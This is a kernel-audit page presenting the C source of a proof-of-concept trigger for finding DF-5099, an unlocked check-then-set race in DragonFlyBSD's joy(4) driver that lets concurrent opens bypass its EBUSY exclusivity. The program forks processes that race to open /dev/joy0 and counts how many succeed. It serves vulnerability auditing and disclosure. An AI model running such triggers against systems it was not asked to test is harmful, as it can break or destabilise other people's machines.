⬢ DragonFlyBSD Kernel Audit
DF-5099 / joy_open_race.c
← back to finding ↓ download raw
/* DF-5099 trigger — exact source built on the audit guest (see build.log).
 *
 * joyopen()/joyclose() exclusive-access protocol is an unlocked
 * check-then-set on joy->timeout[i] (sys/dev/misc/joy/joy.c:159-162).
 * Two processes racing open("/dev/joy0") can BOTH pass the
 * `if (joy->timeout[i]) return EBUSY;` check before either stores
 * JOY_TIMEOUT, so both succeed -> EBUSY exclusivity bypassed.  A close()
 * by one holder zeroes the flag (joy.c:173) while the other holder still
 * has the device open, permanently dropping the exclusive claim.
 *
 * On hardware WITH /dev/joy0 this prints
 * "iterations=2000 EBUSY-bypassing iterations=N stray opens=M" with N>0.
 * On this audit guest joy(4) never attaches (no ISA gameport; kldload joy
 * alone creates no node), so open() returns ENOENT (see run.log).
 */
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define DEV "/dev/joy0"
int main(void) {
    int fd, i, races = 0, opens = 0;
    fd = open(DEV, O_RDWR);
    if (fd < 0) {
        printf("open %s: %s (errno=%d)\n", DEV, strerror(errno), errno);
        printf("joy(4) not attached on this machine -- cannot exercise joyopen() race\n");
        return (2);
    }
    close(fd);
    for (i = 0; i < 2000; i++) {
        pid_t p1, p2; int st1 = 0, st2 = 0;
        fd = open(DEV, O_RDWR);
        if (fd < 0) { printf("holder open failed: %s\n", strerror(errno)); return (1); }
        p1 = fork();
        if (p1 == 0) { _exit(open(DEV, O_RDWR) >= 0 ? 0 : 1); }
        p2 = fork();
        if (p2 == 0) { _exit(open(DEV, O_RDWR) >= 0 ? 0 : 1); }
        waitpid(p1, &st1, 0); waitpid(p2, &st2, 0);
        if (WEXITSTATUS(st1) == 0) opens++;
        if (WEXITSTATUS(st2) == 0) opens++;
        if (WEXITSTATUS(st1) == 0 || WEXITSTATUS(st2) == 0) races++;
        close(fd);
    }
    printf("iterations=2000 EBUSY-bypassing iterations=%d stray opens=%d\n", races, opens);
    return (races ? 0 : 3);
}